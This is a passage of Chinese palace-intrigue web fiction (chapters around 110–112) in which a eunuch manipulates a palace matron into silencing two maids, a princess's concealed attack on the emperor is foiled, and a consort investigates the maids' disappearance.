凝视着掌心,袁长生脸上浮起浅淡的笑。他的笑容越来越浓,最后笑得泪水流下,流到嘴里,咸湿苦涩。 他的人生,就如掌心一般。贵人眼里风雅的字画,于他而言,是伤痕密布。 纸上寥寥数语,袁长生无需再看。熟悉的字迹,不经过他的思考,自发地,霸道地刻在了他的脑海中。 起风了,吹起窗棂上的纱绡鼓起又凹陷,猎猎作响。闷热在屋中盘旋,终究坚持不住,在雨点噼里啪啦打在虞美人叶上,屋中惟余淡淡的雨水腥气。 门帘掀起,宋宫正走了进来。撑着伞,她的发髻衣衫仍然湿了大半,神情焦急中含着关心。 “杨应说你有急事,天气炎热,可是身子的伤化脓了?” “我身子没事,你坐吧。”袁长生往上挪了挪,尽量让自己端正些。 “你快别动。”宋宫正忙抬手相劝,她微松了口气,挪了圆凳在榻前坐下,仔细打量着袁长生的脸色,心又提了上去。 他长入鬓角的眉头始终蹙着,眉心一道深深的痕迹。芙蓉一样的脸褪了颜色,犹如落花般凋残。 宋宫正手情不自禁抬起,欲将抚平他的眉心。手抬到一半,到底不敢唐突,仓惶地缩了回去。 谁知,袁长生的手突然搭了上来。宋宫正的手背灼热,她陡然而惊,心中兵荒马乱。 “虫娘,你衣衫都湿了,可觉着冷?”袁长生温声问道。 虫娘是宋宫正的名字,穷人家的女儿多随口一取,村中皆是花草虫儿。自从进宫做到女官之后,极少有人直呼其名。宋宫正记得多年前与他闲聊,提了一句她的名,他从未唤过,一直尊称她的官职。 她不愿提及的名字,从他嘴里听到,她仿佛感到了几分缱绻缠绵,心被用力捏了下,无助得鼻子发酸。 “我不冷。”宋宫正回了句,她垂下头,不敢去听自己发颤的声音。 “仔细着凉。”袁长生叮嘱了句,手掌略微用力按了按,才收回手。 宋宫正嗯了声,目光不自觉追随着袁长生的手。手背的余温犹在,心里空荡荡。 “你我当差这些年,皆吃了不少苦,积累了一身伤病。” 袁长生晦涩而笑,神色落寞地道:“此次受伤,我真正倦了。若能侥幸活下去,我想要出宫。身边积攒了些银两,买间小院,平平淡淡度过余生。虫娘,你呢,你有何打算?要是你出宫,我们可毗邻而居,彼此有个伴。” 宋宫正家中亲人早已不在,她出宫之后并无去处。上了年岁的女官内侍,无法当差之后,宫中会送到寺庙,由朝廷出钱粮奉养。 寺庙并非清净之地,起初送进去之人,很快就没了命。朝廷后来想出了法子,定期派太医前去诊脉查看,每月支付钱粮,死的人才日渐减少。不过,钱粮大多被克扣,勉强有口气活着罢了。 宋宫正想到以后变老的日子没着落,夜里时常惊醒难眠。她的女官已经做到了头,说是女官,一样是仆从。 出宫有人作伴,还是袁长生。 宋宫正抬眼看向袁长生,她一时不敢相信,恍惚问道:“出宫之后,你我毗邻而居?” 袁长生柔声道:“若是你不愿意,我也可以离得远一些。” “我愿意!”宋宫正想都不想,急迫地道。话音落下,她的脸霎时红透,心跳飞快,连呼吸都变得困难。 “好。就置办隔着一堵矮墙的院落,在墙上开道门,来往也方便。” 袁长生微笑说起了出宫后的安排,住在城南还是城东,何处比较清净方便。宋宫正一瞬不瞬望着袁长生,渐渐听得痴了。 “唉,要能活下去,才有盼头。”袁长生话语一转,神色暗淡下来:“皇城司接管了垂拱殿,我连见皇上一面都难。慧淑妃在宫中一家独大,我偏生又得罪了慧淑妃,只能拼命想方设法自保。” 袁长生被元明帝杖责,宋宫正大致知晓一些,他在御前失宠,定是犯了大错。 宋宫正想起袁长生托付她送出去的消息,愣了愣,问道:“枸杞与水莲那天一起出宫,枸杞送消息给赵侍郎,可会有危险?” 袁长生点点头,道:“皇城司在查出宫的名录,极有可能会查到她们身上。” 宫中规矩,出宫办差必须结伴出宫。水莲进宫不久,笨拙老实,宫正司的苦活脏活都派给了她做。枸杞却是宋宫正的心腹,这些年来对她忠心耿耿,待她如亲姐姐一样敬着。水莲并不知送消息之事,宋宫正只交代给了枸杞。 要是查到枸杞水莲身上,枸杞肯定会供出来。到那时,她就是侥幸不死,估计也要脱一层皮。 宫正司时常处置犯了差错的宫女,宋宫正自知晓她该如何办。只她想到枸杞,忍不住地难过。 袁长生轻声叹息,道:“虫娘,我对不住你,连累了你,让你为难了。枸杞她们要是被查出来,你就推到我身上。” “我怎地会推到你身上来。”宋宫正马上道。 记得当年在御花园初见面,他立在辛夷花树下与黄梁说话。他察觉到她走近,侧首朝她看来,脸上还带着漫不经心地笑。落在肩上的辛夷花,比起他那张昳丽的面孔,堪作污泥。 从那时起,他就留在了她心上,从未离开过。 宫中美人如云,她只能算作普通寻常。她拼命掩饰着自己的心思,与他能说笑几句,就已心满意足。 她愿为他赴汤蹈火。 宋宫正定了定神,道:“枸杞水莲不能留了。事不宜迟,我这就回去。” 袁长生静静望着宋宫正,伸手握住她的手腕,温柔叮咛:“你要小心。” 宋宫正心控制不住狂跳,她抿了抿嘴,藏不住地喜悦在眼底眉梢流淌,“嗯。你好生养伤,我过后再来看你。” 雨密密下着,闷雷滚滚。闪电炸开,昏暗的屋内骤然变得明亮。 宋宫正不舍回望,她泛着红晕的脸,眸中的依恋,拼命克制地情意,随着闪电明明灭灭。 晃动的门帘停止不动了,宋宫正终于离去。袁长生打开始终放在身旁的左手,手心的纸团已然变得破碎,他却紧握住不放。 宋宫正以为自己心思藏得很好,从初见时起,袁长生就看得一清二楚。 他的心思,柳贤妃又何尝不一样。 他从未把宋宫正的心意当做回事,那么,她呢? 可像是他对宋宫正一样,毫不留情地利用,冷眼看着她如飞蛾一般,朝着火扑上去? 垂拱殿。 元明帝嫌弃天气闷热难受,江舲吩咐黄梁领着内侍,足足五人一起,搀扶着元明帝从头到脚洗刷一通。换上干爽的衣裳出来,屋中摆好了冰鉴,凉爽宜人。 舒舒服服躺在床上,元明帝总算安生下来。江舲心里有事,打算回她歇息的屋子,被元明帝叫住了,抱怨道:“你去何处,成日不见人,陪着朕一会就不耐烦。” “皇上要处理折子,我不宜留下。”江舲不耐烦陪元明帝,睁眼说着瞎话。 元明帝哼了声,看了眼匣子中堆满的折子,心思微转,道:“朕看久了眼睛难受,你来替朕念,朕批阅。” 江舲讶然瞪大眼,旋即心头大喜。她装腔作势扭捏了翻,道:“我只念几本啊,皇上也不能累着。” 元明帝人舒服了,心情也变得大好,哈哈笑道:“行行行,你快念。” 江舲拿起一本折子打开,奏折有固定的制式,首尾皆文绉绉,她读得结结巴巴,又惹得元明帝乐不可支。 读了五本,江舲心里大致有了数,便开始挑剔,在匣子中翻找,一一飞快扫过,“我找本短些的读。” 元明帝佯怒道:“我看你就知道躲懒。” 江舲挑了半天,开始读起来。故意读错两个字,元明帝神色疑惑,拿过折子一看,噗呲笑起来;“真真是不学无术。” 笑完之后,元明帝禁不住教起了江舲。先是纠正字,再讲折子的意思,上折子的官员来自朝廷哪个衙门等等。 江舲听了一会,元明帝批阅折子简单得很,同意的折子,则批阅发还。不予置理的折子,按折不发。重要的折子,则留着与朝臣们一道商议。 天色渐晚,黄梁进屋来掌灯。他上前在江舲身边小声道:“娘娘,大公主来给皇上请安,娘娘可要她进来?” 元明帝瞧见黄梁与江舲在偷偷说话,马上拉下脸,道:“外面下着雨,天已晚,怎地还有事找来?” 萧珈桐前来,定是与她去见柳贤妃有关。江舲不怕她来,只怕她不来,于是将萧珈棠前来之事说了,“皇上,大公主孝顺,让黄梁去请她进来吧。” 上次萧珈棠来之后,元明帝就对她心生不喜。念着她是自己的亲生女儿,元明帝勉强答应了。 黄梁奉命出去,没一会,领着低垂着头的萧珈棠进了屋。 江舲不经意地打量过去,萧珈棠仿佛恭谨得太过了些,动作都变得僵硬,看上去很是怪异。 萧珈棠请完安,问道:“阿瓒阿琅呢,好些时日没见到他们,他们可还好?” 第110章 江舲眉头微蹙, 不由得再次端详过去。萧珈棠身着藕荷色的衫裙,发髻梳得一丝不苟。年轻的脸庞光滑洁净,眼眸明亮, 看似并无任何的不妥之处。 不过,仔细看去, 萧珈棠的眼皮略微红肿,似乎是哭过。她的眼角上扬, 好似发髻梳得太紧, 又像是太过紧绷,让她无论动作或者是声音, 都透出一股不自在。 江舲没来由变得警惕起来,答道:“阿瓒阿琅淘气, 在屋中写大字。皇上身子不好, 不许他们前来打扰。” 萧珈棠飞快看了眼江舲,忙挤出丝笑,解释道:“我们是亲姐弟, 许久没见到他们, 时常在心中记挂着。”她说着说着, 眼眶渐渐泛红, 抿了抿嘴, 努力地坚强不哭。 “阿爹, 你可是厌恶了我?” 元明帝拧起眉,斜撇向萧珈棠, 神情就带了几丝不耐烦, “年纪轻轻的小娘子,成日胡思乱想,问出些可笑幼稚之语。连阿瓒阿琅都比不过, 下雨的天气,又到这个时辰了,在外乱跑作甚?朕不需你的请安!” 果然,如柳贤妃所言那般,在元明帝眼里,她始终不如萧允瓒萧允琅,比不过他任何一个儿子。 萧珈棠心头犹如烈火灼烧,翻滚,她低垂下头,掩去了眸中的恨意。藏在衣袖下的手,止不住微微颤抖起来。 “皇上,大公主也是一番孝心。”江舲都听得窘迫难堪,忙替萧珈棠打着圆场。 元明帝哼了声,满不在乎地道:“罢了,你既已请了安,早些回去吧。” “皇上真是,大公主方才坐下,茶都没吃一口呢。”江舲笑着说了句,又问萧珈棠:“大公主可还有事?” 萧珈棠克制住心头的愤怒,道:“阿爹,娘娘说我已经长大了,该搬到公主的寝宫去住。娘娘身子不好,这些年抚育我不容易,我确实不该留下来给娘娘添麻烦。求阿爹恩准。” 元明帝后宫庞大,宫殿本就不够住。公主的寝宫也只是一个说法,早有嫔妃住在里面。 “柔仪宫宽敞,你们各自住在自己的屋子,如何就打扰了?何况你既然已经长大,就该懂事些,莫要给柳贤妃添麻烦就是。芝麻大小的事情,值得你冒雨走一趟,打扰了朕的歇息!” 元明帝越说越气,训斥了萧珈棠,再数落柳贤妃:“你不长脑子,柳氏更是蠢不可耐!她一年到头都病恹恹,偏生病了这些年,还是活得好好的!朕看她就是装病,晦气!” 萧珈棠挺直脊背坐着,一瞬不瞬看着元明帝翕动的嘴皮,脑子耳朵都嗡嗡作响。他浮肿蜡黄的脸,垂到嘴角松弛的皮,都让她胃中不断翻滚,憎恶到想吐。 “娘娘伴着他多年,在他眼里,竟然没落下半点好。因为生产伤了身子,他却看做是罪名,被他厌弃。刻薄寡恩,昏庸丑陋,却偏生是皇帝!” “他偏生是皇帝,是我的亲生父亲!” 萧珈棠心底的那点希冀,终于彻底碎裂。她簌簌颤抖着,右手悄然伸进左手衣袖,几近目眦欲裂。 江舲目光落在萧珈棠的手上,略微停顿之后,她不假思索,扬声道:“黄大伴,送大公主回去!” 元明帝被惊了跳,不悦地瞪着江舲,“瞧你一惊一乍,都当阿娘的人了,还此般不稳重!” 萧珈棠悚然而惊,她手听着不动了,脸色煞白如纸。 这时,黄梁领着内侍已经上前,躬身道:“大公主,外面天黑,奴婢送大公主回柔仪宫。” 萧珈棠浑身僵硬,她心知已经错过最佳时机,只能缓缓起身朝外走去。 “下雨了,我去叮嘱一声。”江舲说了句,急匆匆跟了出屋。 黄梁招呼内侍,“快去拿雨伞木屐过来,大公主的宫女呢?哎哟,敲我这记性,大公主独自前来,宫女都未跟着来伺候……” 江舲不顾黄梁的念叨,招呼文涓紫衫上前,“大公主,我有几句话与你说。文涓,带大公主去偏屋。” 萧珈棠眸中恨意凛冽,她梗着脖子,冷声道:“慧淑妃有话,且直说无妨便是!” 江舲视线扫过萧珈棠依旧放在一起的手,淡淡地道:“有些话我若直说了,大公主可能承受得起后果?” 萧珈棠屏住呼吸,死死盯着江舲。内侍取来雨伞,黄梁正欲上前,看到她们架势不对,忙叫上内侍一起围了上前。 江舲比萧珈棠身形高,身边围满了人,带着不容反抗的威严。萧珈棠控制不住地颤栗起来,她再也承受不住,往偏屋冲去。 “没事了,我去看看。”江舲对黄梁他们说了句,带着文涓紫衫进屋。 萧珈棠喘着粗气,神色狰狞对江舲道:“你要说甚?” “放下吧。”江舲指着萧珈棠的衣袖,见她脸色大变,平静地道:“我没当场挑明,就是给你留了一条生路。你反抗也无济于事,垂拱殿到处都是人,我大喊一声,到那时,生死都由不得你。” 文涓紫衫一听,如临大敌挡在了江舲面前。 萧珈棠神色几经变换,她清楚早已错失良机,心中万念俱灰。终于,她的手一松,藏在衣袖中磨得锋利的剪子,哐当掉地。 文涓神色大变,慌忙上前拾起剪子竖在身前,紫衫紧随其后,两人一起警惕地防备着萧珈棠。 “呵呵,还真是忠心。”萧珈棠冷笑连连,视死如归地昂着头,一副豁出去地架势:“要杀要剐,悉听尊便。” 江舲摆手让文涓紫衫退下,她微微笑起来,道:“大公主一直以来以聪慧机敏著称,我倒是看不明白,大公主要生要死,欲将做给谁瞧呢?还是先前那句话,你死了,就像是石子扔进大海中,浪花都不会起。你难过,痛苦,死亡,有谁真正会为大公主伤心垂泪?” “我是生是死,可有人牵挂惦记,与你有何相干!”萧珈棠心中大恸,眼泪一下流了出来,悲愤得目眦欲裂。 “让我猜猜看,先前我去见过柳贤妃,与她开诚布公说了些话。然后,柳贤妃对你说了什么,你才冲动地跑来垂拱殿。柳贤妃,啧啧,她确实扶养你长大,又真正不顾你死活。” 江舲紧盯着萧珈棠的反应,她到底年轻,读书再好,始终还是温室里养着的花,未曾真正经历过世事风霜。 无论是因何原因,究竟是要对元明帝,还是要针对她,萧允瓒萧允琅。到底太过害怕,碍于规矩礼仪,藏不住心思情绪,也无法干脆利落动手。 “柳贤妃擅长攻心为上,她究竟如何鼓动你,值得你不要命了?荣华富贵,你是大公主,从不缺这些。权势?” 江舲见萧珈棠垂下的眼睫动了动,顿时了然于胸,“应当就是权势了。大公主,你可曾想过,柳贤妃把你毫不留情扔出来,她其实并未盼着你能做什么,她实在走投无路,有一棍打一枣罢了。你能干成事,对她来说是意外之喜,你要是失败了,对她来说,不过是意料之中之事,并没有任何的损失。可惜啊,你竟然听进去了。” “娘娘不曾怂恿我,是我心甘情愿!”萧珈棠靠在案桌上,苍白的脸上,浮起几丝自嘲地笑。 “娘娘扶养我长大,教我读书识字,教我天下学问。我这条命都是她的,死又何所惧,” “原来你都清楚,但你是心甘情愿。” 江舲琢磨着念叨了句,她恍然一笑,道:“你称自己心甘情愿,不怕死,当时你为何没行动呢?” 萧珈棠怔了怔,她凄然地笑了,道:“慧淑妃何须如此着急,活着不易,死难道还不容易。” 江舲并未接话,慢条斯理地说道:“其实你怕死,人人都怕死,并不是羞耻之事。你以为自己可以无所畏惧,其实事到临头,会发现并非你心中所想那般容易。死也一样。你出身皇家,比起寻常百姓来说,岂止幸运百倍千倍。兴许你仍不满足,有更高更远的志向,这些都很好。” “你少说风凉话!”萧珈棠一愣,意外地看着江舲,语气晦涩,道:“你如今赢了,又何必出言挖苦。” 江舲冷静且残酷地揭穿萧珈棠心中的幻象,“大公主,你可有想过,即便没有我,没有阿瓒阿琅他们,且不提前朝官员,萧氏皇室宗亲仍在。无论如何都轮到你。你更休想以为,人心就好比面团一般,由着你随意搓揉摆布。” 萧珈棠愣住,她仰天大笑起来,“慧淑妃,你休要吹嘘,你们又能好到何处去。我没本事,难道阿爹阿瓒阿琅他们就有本事了,我何处比他们差!” “你有没有本事,我并不清楚。但如今,你的愿望恐怕要落空了。世情如此,并不会因为你的愤怒不甘,有丁点的改变。” 江舲叹了口气,极为认真地注视着萧珈棠,“不甘心,冲动,憎恨,是最最无用的情绪。” 萧珈棠惨白着脸,反唇相讥道:“你呢,慧淑妃,你又何尝不是如此?难道你就能改变了?” 江舲神色淡然,自信地道:“我与你不同,与你们都不同。” “呵呵。”萧珈棠讥讽地笑了,道:“慧淑妃,你找我来,就为了炫耀?” “我找你来,是你还年轻,不愿看到你冲动送死。” 江舲摊摊手,微微一笑,道:“这也是我与你们的不同之处。连自己性命都不爱惜之人,更不会爱惜他人的命。” 她万万不敢托大,认为自己可以治理好天下。但她可以肯定一件事,上位者若不把人命当回事,天底下苍生,只是他们玩弄权势的棋子。 无论元明帝,亦或林贵妃赵德妃柳贤妃萧珈棠皆一样,他们都不行! 萧珈棠若有所悟,似乎明白了些江舲话中的深意。她像是困兽一般,无力靠在案桌上,胸脯起伏着,神情痛楚而茫然。 言尽于此,江舲已经仁至义尽,她不愿再多言,只道:“我让黄梁送你出去。” 出了屋,江舲招来黄梁,道:“大公主身子不好,你让人去将撷芳阁收拾一下,送她去静养。” 黄梁听到撷芳阁,顿时一震,他左顾右盼,不安地道:“娘娘,大公主她……” “小娘子闹别扭罢了。”江舲轻描淡写说了句,她旋即一笑,道:“大公主毕竟是小娘子,你多劝她一句,我就是从撷芳阁走了出来,好好的宫殿,乱的是人心,别信那些不吉祥的闲言碎语。你多安排几个忠厚的人在身边伺候,别怠慢了她。” 黄梁赶忙一一应下,朝卧房方向看了眼,犹豫着问道:“娘娘,可要与皇上回禀一声?” 元明帝嘴上疼爱儿女,若非有人特意提起,他估计都记不起有这个女儿。江舲对萧珈棠所说的那些话,不留情面,却是血淋淋,残酷的现实。 萧珈棠是公主,无人会在这时特意提起她。 更何况,垂拱殿由江舲把控,想要到元明帝面前来,须得她点头才行。 江舲漫不经心地道:“无关紧要的小事,就莫要拿去让皇上心烦了。” 黄梁忙应是,唤来内侍安排了下去,前去忙碌了。 雨仍然下个不停,雨丝被风吹着,在昏黄的灯烛下打转。 萧珈棠低垂着头,脚步蹒跚,失魂落魄朝外走去。她瘦弱的双肩塌着,在风雨中摇摇欲坠。 江舲转身回屋,这时,内侍与薛庵顶着一头雨水,急匆匆奔来。 薛庵顾不得抹去脸上的雨水,抬手一礼,焦急地道:“娘娘,丁皇城使有急事求见娘娘!”《 》 110-120 第111章 丁尙进了客舍, 不知是雨水还是汗水,露出幞头的头发湿哒哒贴在脑门,朝服湿了大半。 “娘娘。”丁尙面露担忧, 上前抬手一礼。江舲见他不停喘气,嘴唇已干燥起皮, 指着椅子道:“不急,先坐着吃口茶缓缓。” 丁尙忙感激地谢恩, 坐下来端起茶盏, 摸到茶水温热,心头不禁又是一暖。 起初天气闷热潮湿, 后来又下起了雨。连着奔波忙碌,丁尙忙得脚不沾地, 滴水未进。 听差做事辛苦, 丁尙没曾想到,能在垂拱殿得到喘息。他顿了顿,神情若有所悟, 端起茶水一饮而尽。 “皇上龙体欠安, 臣不敢前去打扰。对不住, 让娘娘受累了。” 丁尙连连赔着不是, 态度恭敬极了。他躬着身, 说起了查名录之事。 “娘娘吩咐下来, 臣惟恐被底下的人糊弄,亲自去了几个宫门, 仔细查过一番, 将名录抄录了来。” 丁尙取出一张纸奉上,江舲接过打开,上面写着出宫之人, 从哪个宫门出入,在何处当差,约莫何时出宫,何时回宫。 “底下的这群混账东西,私自收受贿赂,放他们出入,臣已经责令把他们抓了起来,严加审问,定不会轻饶。” 丁尙偷窥着江舲的脸色,紧张得汗水津津,说话都打结。 元明帝出入的正南方向宫门,朝臣官员多走东西两门,而宫女内侍只能走北门。 除去正南宫门,其余东西北皆有宫女内侍出入。皇城司当着守宫门的重任,守将放任他们进出,倘若定得严重些,乃是阑入,私放宫禁的大罪。 江舲心下了然,丁尚是担心自己,他免不了一个失察之罪。不过,既然丁尚坦白地将名录交给了江舲,足以表明他的忠心。 眼下江舲还不便出面,待日后再收拾。她淡淡唔了声,一时没有说话。 丁尚见状暗中松了口气,心勉强放下了大半,继续道:“名录到手之后,臣将出宫之人寻来审过一遍。只有宫正司名唤枸杞水莲的两人,她们奉了宋宫正之命,前去尚书内省送文书,不在宫正司。宋宫正对臣说,待她们回来之后,让她们来找臣。臣等了一会,不见她们回来。眼见天色已晚,臣不便久留,便来给娘娘回话。” 宫正司离尚书内省约莫不到半盏茶的路途,江舲曾去过宫正司,与宋宫正见过几次面。 宋宫正年近三十,不苟言笑,走路无声。兴许与她的差使有关,看人时的眼神,总是透出一股阴冷,令人不寒而栗。 丁尙迟疑了下,道:“娘娘,臣以为,枸杞水莲两人不对劲,其余人臣都已查遍,只她们两人了。宋宫正得皇上信任,不徇私枉法,平时当差从未出过差错,臣也不好多言。娘娘,你看……” 江舲嘴角上扬,嘲讽一闪而过。元明帝信任袁长生,信任她自己,只这一点,就足以证实他眼瞎心瞎。 “既然如此,你就先等等。尚书内省离得不远,一夜之后,枸杞水莲也应当回去了。” 丁尙犹豫着,神情欲言又止。江舲微微一笑,问道:“你可是估计,她们已经被灭口了?” “娘娘。”丁尙脸色变了变,忙道:“臣确实这般以为,只没见到她们两人之前,皇上那边无法交代……” 他一边说,一边瞄着江舲的脸色,见她神色平静,不由得悄然咽了咽口水,涨红了脸,起身长长作揖下去。 “娘娘,臣一片忠心。确实被底下的人蒙蔽,还请娘娘替臣在皇上面前求求情。” 皇城司在京城可能一手遮天,在宫中却不能够了。内侍内省与尚书内省,与皇城司一向不对付。 宫正司虽听令于元明帝,在名义上隶属尚书内省。要是枸杞水莲给赵侍郎递了消息,要查她们,势必牵出皇城司守卫收受好处,玩忽职守之事。 江舲蓦地一怔,她看向丁尙,缓缓道:“朝堂上有官员在弹劾你。” 丁尙不敢直视江舲的目光,她的语气笃定,被看穿的心虚,让他不自觉头皮发麻。略坐沉吟之后,丁尙忙道:“娘娘。臣有罪,不该在娘娘面前卖弄心机。” 皇城司手握大权,尤其是只听令元明帝,朝中无几人敢惹。 但是,私放宫禁却是大忌。此事并非一日两日,应当有朝臣弹劾,被丁尙都挡了过去。 江舲先前还已经让丁尙换过宫门守卫,从宫女内侍进出宫门的情形看来,可见皇城司已经腐朽不堪。 纸包不住火,丁尙想借助江舲,将此事一并揭过。他才会顺利查到名册,交到江舲手上。 江舲笑了下,丁尙老奸巨猾,她到底大意了,差点被他蒙蔽了过去。 “皇上不宜动怒,臣不敢惹皇上生气。”丁尙艰难地解释着,不时擦拭着额头冒出的汗水:“臣想缓口气,好清理底下的人。娘娘,臣对皇上忠心耿耿,苍天可鉴。只好些人都是臣的旧部,臣念着往日情分,信任他们,不曾严加管束。都是臣的疏忽,娘娘恕罪。” 江舲沉默片刻,肃然道:“丁皇城使,皇城司必须清理门户,关于此点,我以为不容置疑,你觉得如何?” 丁尙心知江舲不好糊弄,不假思索道:“是,臣不敢有二言,臣遵旨。” 江舲语气淡然,继续问道:“宫正司与皇城司彼此了解,都有把柄在手。袁长生应该也深知皇城司的所作所为,当时与禁卫争执时,对出入宫门之事只字不提。袁长生究竟有何把柄在你手上?” 丁尙大惊,他猛然抬头看向江舲,见她面色如常,那双眼眸看不出任何的情绪,下意识地后背发寒。他忙垂下了头,心头一片乱麻,不知该如何作答。 江舲见丁尙神色迟疑,她也不急着催问,捧起茶盏耐心吃了起来。 “娘娘,此事涉及到柳贤妃的名声……” 丁尙飞快看了眼江舲,支支吾吾说了起来,“在五年前,皇城司抓到了一个胆大包天,想要偷偷潜进宫的地痞。地痞人唤方蛮牛,原靠着收夜香为生。方蛮牛父母双亡,喜好吃喝嫖赌,借了印子钱还不上。放印子钱的都是些心狠手辣之辈,方蛮牛被折腾得没了半条命。不知他从何处听说,宫中都是金砖铺地,想要偷摸进宫翘几块金砖去还债。方蛮牛还说,他以前认识一个叫袁大福的人,后来进宫做了阉人。想着要是偷摸溜进宫,要是偷不到金砖,借着相熟的这层关系,他也阉了做内侍,放引子钱的便再也找不上他。” “袁大福?”江舲皱起眉,敏锐地念了句。 “方蛮牛称作袁大福,臣问了长相,照着他的描述,与袁长生相貌无异。方蛮牛说,袁大福阿娘本是妓家,不知阿爹是谁。在花楼长到七八岁,后来他阿娘去世了,花楼失火,烧得一干二净,他从花楼逃了出来,在街头靠乞讨偷鸡摸狗为生。方蛮牛就在那时,与他结识了。两人后来跟了一个无儿无女,收夜香的老儿,跟着他一起去收夜香。人手多了,老儿顺道卖些柴禾。袁大福生得机灵聪明,那些高门大户的仆从,见到他时总得逗趣几句,不嫌弃他脏臭,还让他进门去吃茶点。方蛮牛称。袁大福去得最多的就是柳侍郎的府邸,柳侍郎府邸中的主子,还教袁大福识字。柳侍郎女儿被先帝赐婚给皇上,那天柳府热闹盈天,连着方蛮牛都得了一把赏钱。方蛮牛说,从拿以后,袁大福就没再进过柳府的门,他大病了一场,病好之后就不见了踪影。方蛮牛后来到处打听到,袁大福自阉了自己,进宫做了内侍。” 丁尙停了下来,他到底有些忌讳,干巴巴道:“方蛮牛大放厥词,说是袁大福觊觎柳侍郎的女儿,见心上人嫁作他人,心里难受,阉了自己进宫,远远瞧一眼心上人也好。当时皇上还未被立为太子,臣以为,方蛮牛在打胡乱说。涉及到后宫的娘娘,臣恐他继续到处胡说八道,又胆大妄为闯皇宫,就处理了他。” 江舲哦了声,“方蛮牛已经死了?” 丁尙一僵,差点赌咒发誓,一迭声道:“方蛮牛确实已被杖毙,臣亲自摸到他没了气息,让人丢到了乱葬岗去。娘娘,臣绝无半点虚言,留着方蛮牛作为威胁。” 袁长生哪怕承认自己叫做袁大福,他进宫,柳贤妃进了潜邸。袁长生出身卑贱,与柳贤妃都不一定认识,一切都是方蛮牛的猜测。 方蛮牛已死,死无对证。柳氏是官身,丁尙也不敢随意招惹。最重要一点,元明帝要是得知,皇家脸面荡然无存,丁尙身为知情人,他也讨不了好。 “袁长生背后被人称作冷面阎王,臣与他起过几次争执。后来有一次,臣在他面前,故意提了方蛮牛,袁大福,柳侍郎府。臣并未提及其他,只道了几个名字,袁长生便变了脸。” 丁尙神色讪讪,咳了咳,道:“臣对袁长生说,方蛮牛还活着,是他的故交,可要见一见。袁长生没有回答臣,只言皇城司守卫之事,他就当不知,绝不会在皇上面前提一言半语。袁长生后来在京城到处找方蛮牛,方蛮牛早就化为了白骨,收留他们的老儿也早就死了,他遍寻不着,以为臣将方蛮牛藏了起来。袁长生应当所有忌惮,才未拿宫门守卫之事,到皇上面前去告状。” 从头到尾,丁尙都对柳贤妃与袁长生之间的关系,他心中十有八九相信,却言辞含糊,不敢妄言。 江舲却并不需要证据,她终于豁然大悟,为何柳贤妃能指使得动袁长生。 袁长生进宫与柳贤妃进潜邸,算不得疑点。 丁尙不及柳贤妃聪明,他看不清楚的朝局,柳贤妃能看得八九不离十。 袁长生作为内侍,已然权势滔天。他出身卑微,无亲无靠。金银钱财于他而言并无太大用处,他这些年从未在钱财上出过差错,称得上两袖清风。 至于美色,袁长生自己就生得美貌。黄梁对他嫉妒得很,还几次暗搓搓骂他,仗着生了一副好皮囊,眼高于顶,谁都不放在眼里。 袁长生为何敢冒天下大不讳,他为何常年不歇,亲自领着护卫日夜巡逻。 因为如这样,他就可以见到柳贤妃。哪怕见不到面,只从柔仪殿前经过,他与柳贤妃也近在咫尺。 江舲没再追问下去,让丁尚回府歇息了。 望着雨濛濛的天空,她不由得回想起那个月夜下的夹道口。 袁长生乱了冷静,前来质问她。那时的他,该是怎样兵荒马乱。 兴许,从未被上苍照拂过的他的人生,有了柳贤妃,连沾满血的刀锋,都变得犹如春风拂面。 第112章 翌日, 丁尚仍未见到枸杞水莲,赶着前来向江舲回话。 “娘娘,宋宫正称昨日让她们去办差后, 就没再见到她们回来。她也担心两人,昨晚不见两人回直舍, 今朝一大早前去尚书内省问过,说是两人在申时中就离开了。臣前去宫正司时, 宋宫正已经让宫女前去找过一圈, 到处询问。称昨日下雨,极少有人出来, 未曾有人见到她们。” 对着丁尙的紧张,江舲神色极为平静, 侧首朝窗棂外看去。 雨停后, 太阳一下变得炙热,明晃晃照得人眼睛都睁不开。 江舲道:“要是没出宫,应该还在宫中。要是一时找不着, 不过两三日, 定能发现。” 丁尙听得一愣, 顺着江舲的视线看去, 顿时恍然大悟。 枸杞水莲若是没了命, 天气炎热起来, 尸首腐烂发臭,便会藏不住了。 丁尙道:“娘娘, 臣再去各宫门处查一查, 看可有将两人放出去。” 江舲道好,让文涓去将张善找来,安排他去寻人。 张善领着护卫到处找寻, 各处水井枯井都仔细查过。丁尙也去各宫门处问了一遍,两人并未出宫。 一直找了五六日,枸杞水莲仍然生不见人,死不见尸,凭空从皇宫中消失了。 江舲不信邪,就是将皇宫翻个底朝天,也要找出两人。经过思索之后,她打算从袁长生处入手。 这天早上起来,天气照旧晴好。江舲从净房洗漱出来,黄梁带着内侍已经摆好饭食。 “又是这些饭食。”元明帝从睁眼就开始抱怨,对着案桌上的蛋羹等饭菜一通嫌弃。 黄梁躬身立着不敢做声,江舲掀起眼皮瞥了他一眼,埋首剥着蛋壳。 元明帝看着江舲剥完,白嫩的鸡蛋,他顿时道:“给朕!” 江舲把剥好的蛋放在空碗中,让黄梁捧去给了他,“把蛋羹换来给我。” 元明帝哼了声,道:“拿你一只煮蛋,你却要朕拿蛋羹来换。” “端回去给皇上吃吧。”江舲很大方,不愿与发癫的元明帝起争执。 黄梁刚端起碗,元明帝又气咻咻道:“给你给你,朕难道还缺你一碗蛋羹?” 江舲示意黄梁将碗放下,拿着银匙吃起了蛋羹。元明帝一边咬着煮蛋,一边看向江舲,神色探究。 用完早膳,江舲坐下来吃茶,这才问道:“皇上可是有事?” 元明帝哼了声,不悦道:“朕见你这些时日忙得很,时常召丁尙他们来觐见。你是后妃,与朝臣来往密切,简直成何体统。” 平时江舲跟着元明帝批阅奏折,朝中的动静她了解得七七八八。确实有御史参奏江舲,只所参奏之事,是她常年住在琼华阁,不合规矩。 垂拱殿被江舲把控得严严实实,她指挥丁尙郑相他们的事应该未传出去。朝中朝臣到底离得远些,元明帝属于近火,她必须先灭掉。 否则,元明帝就该防着她,后妃弄权了。 江舲沉吟了下,道:“最近是发生了一些事,我担心皇上的身子,就没有告诉皇上。” 元明帝脸色一沉,问道:“又发生了何事,真是一天都不肯消停,让朕操心不断!” 江舲把枸杞水莲不见之事说了,“皇上,这件事要从前些时候,赵侍郎高老夫人去江府门前下跪之事说起。当时皇上让郑相丁皇城使去查,先存御前消息走漏查起。丁皇城使查到了出宫的名录,其余人皆盘问过了,只不见宫正司枸杞水莲的人。” 元明帝登时勃然大怒,“宋宫正呢,让她来见朕!” 